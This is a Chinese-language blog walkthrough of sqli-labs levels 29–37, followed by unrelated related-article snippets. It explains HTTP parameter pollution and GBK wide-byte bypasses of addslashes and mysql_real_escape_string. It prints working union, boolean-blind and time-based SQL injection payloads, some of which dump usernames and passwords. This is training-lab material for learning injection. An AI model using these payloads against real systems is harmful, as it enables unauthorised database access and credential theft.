sqli-labs通关攻略教程——双服务器+宽字节注入(less29~less37)

news/2024/8/26 9:40:14

文章目录

  • 补充知识-服务器的两层架构
  • less 29
  • less 30
  • less 31
  • less 32
  • less 33
  • less 34
  • less 35
  • less 36
  • less 37

从29关开始使用docker搭建的sqli-labs靶场
KALI搭建Docker+Vulhub和sqli-labs靶场

补充知识-服务器的两层架构

mysql之注入天书服务器

服务器两层架构即不同的id值有不同的服务器来解读。
http参数污染:jsp/tomcat使用getgetParameter("id")获取到第一个值,php/apache使用$_GET["id"]获取的是第二个值,那么第一个id就是纯数字,第二个id的值注入就可以了。

less 29

  1. 测试发现闭方式为单引号
    在这里插入图片描述

  2. 使用order by查询字段,结果为3在这里插入图片描述

  3. 使用联合注入,查看回显位置

?id=-1' union select 1,2,3--+

在这里插入图片描述
4. 查询数据库

?id=-1' union select 1,2,database()--+

在这里插入图片描述
5. 查询数据库中的表

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

在这里插入图片描述
6. 查询表user中的字段

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='user'--+

在这里插入图片描述
7. 查询字段中的值

?id=-1' union select 1,2,group_concat(Password) from security.users--+

在这里插入图片描述
8. 总结:没有任何的过滤

less 30

  1. 经过测试后闭合方式为双引号在这里插入图片描述
  2. 使用order by字段测试,发现回显只有一种在这里插入图片描述
  3. 猜测本题使用盲注的思路。
?id=-1" or left(database(),1)='s'--+

?id=0' or 4=(select count(table_name) from information_schema.tables where table_schema=database());--+   //判断数据库中表的数量

?id=1& if(left((select table_name from information_schema.tables where table_schema='security'  limit 1,1 ),  1 )='u'--+

?id=-1" || database() regexp 's'--+

?id=-1" || substr(database(),1,1)='s'--+

ascil函数不太行,这题暂时不考虑ascil函数

?id=1" and  if(length(database())=8,1,sleep(10))--+

if函数可套用left或者substr函数或ascil函数

?id=1&id=-2" union select 1,2,3--+  //联合注入,服务器的两层架构

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

less 31

本关的闭合方式为"),其余与上一关相同,均使用盲注的思路。

less 32

  1. 首先测试闭合方式,发现无论闭合方式为什么,均被\转义。在这里插入图片描述

  2. 查看题目中的提示addslashes函数

    PHP中的addslashes函数详解

    addslashes函数的绕过方法

  3. 本道题发现依然需要使用盲注的思路,经过多次测试,发现也并不为数字型注入,闭合方式为单引号。由于单引号会被转义,将单引号使用url编码为%27

  4. 在这里我们使用宽字节注入的思路。宽字节注入主要是采用GBK 编码。

原理:mysql 在使用 GBK 编码的时候,会认为两个字符为一个汉字,例如%aa%5c 就是一个汉字(前一个 ascii 码大于 128 才能到汉字的范围)。我们在过滤 ' 的时候,往往利用的思路是将 ' 转换为 \'。(\ascil码是92,换成十六进制为5c%5curl编码。

%df吃掉 \ 具体的原因是 urlencode(‘) = %5c%27,我们在%5c%27 前面添加%df,形成%df%5c%27,而上面提到的 mysqlGBK 编码方式的时候会将两个字节当做一个汉字,此 %df%5c 就是一个汉字,%27则作为一个单独的符号在外面,同时也就达到了我们的目的。
同理,%aa、%bb均可以使用。

?id=1%aa%27 order by 3--+

?id=-1%aa%27union select 1,2,database()--+

?id=-1%aa%27union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479--+

?id=-1%aa%27union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273--+

?id=-1%aa%27union select 1,2,group_concat(concat_ws(0x7e,username,password)) from security.users--+

在这里插入图片描述

less 33

  1. 题目中的提示addslashes()函数参考上一关的相关博客分享。
  2. 经过测试,与上一关相同,使用宽字节注入
?id=-1%aa%27 union select 1,2,3--+   //联合注入

less 34

查看题目提示,与上一关的区别在于本关传参方式为post

uname=1%aa%27 union select 1,database()#&passwd=1&submit=Submit

在这里插入图片描述

less 35

查看题目提示本关为数字型注入,闭合处不需要考虑过滤转义,但联合注入查询库中表、字段、字段中的值时需要使用十六进制来表示。

less 36

  1. 查看题目提示中的mysql_real_escape_string() 函数

    PHP中mysql_real_escape_string()函数详解

  2. 我们尝试前几关的宽字节注入方法,发现可行,且闭合方式为单引号,使用url编码%27

less 37

题目提示,与上一关的区别在于本关传参方式为POST,使用burp抓包尝试注入。


http://www.niftyadmin.cn/n/3759271.html

相关文章

python(6)

多线程开发1、threading.Thread模块startgetName():获取名称setName():设置名称isDaemon()setDaemon()join(timeout):进程等线程的时候,比如timeout等于5就是执行到线程的时候进程等线程5秒钟,如果线程执行超过5秒就不等待,继续执行进程run()…

mysql从txt导入数据,导出数据到txt

2019独角兽企业重金招聘Python工程师标准>>> 导出数据到txt: 1.select 列1,列2, ....... 列n from tbname [where 条件] into outfile "C:\backup\data.txt" FIELDS TERMINATED BY \t lines terminated by \n; 导出的数据是每列用tab 分开的具体数据…

操纵浏览器的历史记录

window对象通过history对象提供对浏览器历史记录的访问能力。它暴露了一些非常有用的方法和属性,让你在历史记录中自由前进和后退,而在HTML5中,更可以操纵历史记录中的数据。 历史记录概览 可以通过back(),forward()和go()方法在用…

细谈 oracle备份的方法

细谈 oracle备份的方法【内容导航】 第1页:了解ORACLE的运行方式  第2页:ORACLE备份的分类 第3页:定制恰当的备份策略 【IT168 服务器学院】一、了解备份的重要性 可以说,从计算机系统出世的那天起,就有了备份这个概念…

paper 33 :[教程] 如何使用libsvm进行分类

文章来源:http://www.matlabsky.com/thread-12379-1-1.html 这篇文章的讲解的真的是言简意赅,很简单的例子就把这个入门的门槛降低了不少,目前的情况是,我都晓得这个原理了(稍微嘚瑟一下),但是还是情不自禁的把faruto这…

再一次强调,ORACLE外键必须加索引

外键加索引是常识,必须牢记。本来不想写这样的简单案例。可是连续遇到好几起外键不加索引导致性能问题,所以还是写一下。一个兄弟问我 delete from Sa_Sales_Comm_Detail s where s.sales_commission_id24240; ---删除105条数据很慢。要跑几十秒到上百秒…

MD5强碰撞

文章目录MD5简介MD5安全性MD5函数MD5碰撞原理练习—— [BJDCTF2020]Easy MD5练习—— [MRCTF2020]Ez_bypassMD5简介 HASH函数,又称杂凑函数,是在信息安全领域有广泛和重要应用的密码算法,它有一种类似于指纹的应用。在网络安全协议中&#xf…

sqli-labs通关攻略教程——堆叠注入+排序注入(less38~less65)

文章目录less 38方法1——报错注入联合注入堆叠注入less 39less 40联合注入堆叠注入less 41less 42报错注入堆叠注入less 43less 44less 45less 46报错注入时间盲注less 47less 48less 49less 50堆叠注入报错注入less 51less 52less 53less 54less 55less 56less 57less 58less…